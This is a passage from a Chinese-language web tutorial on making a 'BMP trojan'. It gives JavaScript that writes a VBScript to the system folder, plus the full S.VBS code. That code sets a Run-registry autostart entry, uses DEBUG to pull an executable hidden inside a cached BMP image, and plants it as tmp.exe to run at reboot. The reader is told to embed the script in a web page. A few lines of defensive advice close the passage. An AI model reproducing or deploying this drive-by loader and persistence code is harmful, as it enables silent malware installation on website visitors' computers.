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st.WriteLine(’Set WSH = CreateObject("WScript.Shell")’);
st.WriteLine(’CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")’);
st.WriteLine(’wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")’);
st.WriteLine (’wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"’);
st.WriteLine(’SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"’);
st.WriteLine(’WScript.Quit()’);
st.WriteLine(’Function SearchBMPFile(Folder,fname)’);
st.WriteLine(’ Dim SubFolder,File,Lt,tmp,winsys’);
st.WriteLine(’ str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" & fname’);
st.WriteLine(’ if FSO.FileExists(str) then’);
st.WriteLine(’ tmp=fso.GetSpecialFolder(2) & "\\"’);
st.WriteLine(’ winsys=fso.GetSpecialFolder(1) & "\\"’);
st.WriteLine(’ set File=FSO.GetFile(str)’);
st.WriteLine(’ File.Copy(tmp & "tmp.dat")’);
st.WriteLine(’ File.Delete’);
st.WriteLine(’ set Lt=FSO.CreateTextFile(tmp & "tmp.in")’);
st.WriteLine(’ Lt.WriteLine("rbx")’);
st.WriteLine(’ Lt.WriteLine("0")’);
st.WriteLine(’ Lt.WriteLine("rcx")’);
st.WriteLine(’ Lt.WriteLine("1000")’);
st.WriteLine(’ Lt.WriteLine("w136")’);
st.WriteLine(’ Lt.WriteLine("q")’);
st.WriteLine(’ Lt.Close’);
st.WriteLine(’ WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6’);
st.WriteLine(’ On Error Resume Next ’);
st.WriteLine(’ FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")’);
st.WriteLine(’ FSO.GetFile(tmp & "tmp.dat").Delete’);
st.WriteLine(’ FSO.GetFile(tmp & "tmp.in").Delete’);
st.WriteLine(’ FSO.GetFile(tmp & "tmp.out").Delete’);
st.WriteLine(’ end if’);
st.WriteLine(’ If Folder.SubFolders.Count <> 0 Then’);
st.WriteLine(’ For Each SubFolder In Folder.SubFolders’);
st.WriteLine(’ SearchBMPFile SubFolder,fname’);
st.WriteLine(’ Next’);
st.WriteLine(’ End If’);
st.WriteLine(’End Function’);
st.Close();
}
setTimeout(’docsave()’,1000);
把该脚本保存为"js.js",在网页中插入:
该脚本主要会在本地机器的SYSTEM目录下生成一个“S.VBS”文件，该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。
“S.VBS”文件主要内容如下:
Option Explicit
Dim FSO,WSH,CACHE,str
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache")
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"
WScript.Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
’从临时文件夹中查找目标BMP图片
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & "\"
winsys=fso.GetSpecialFolder(1) & "\"
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
File.Delete
’生成一个DEBUG脚本
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
’下面一行的1000是十六进制，换回十进制是4096(该数字是你的EXE文件的大小)
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
On Error Resume Next
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")
FSO.GetFile(tmp & "tmp.dat").Delete
FSO.GetFile(tmp & "tmp.in").Delete
FSO.GetFile(tmp & "tmp.out").Delete
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function
这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到tmp.dat中.后面的脚本再把它复制到SYSTEM的目录下.这个被还原的EXE文件会在下次重起的时候运行.这就是BMP木马的基本实现过程.
防范方法:
最简单,删除或改名wscrpit.exe文件和DEBUG 文件;
安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了.
在条件允许的情况下,安装WIN2K SP3,尽量避免去一些不名来历的网站. 上一页 [1] [2] |
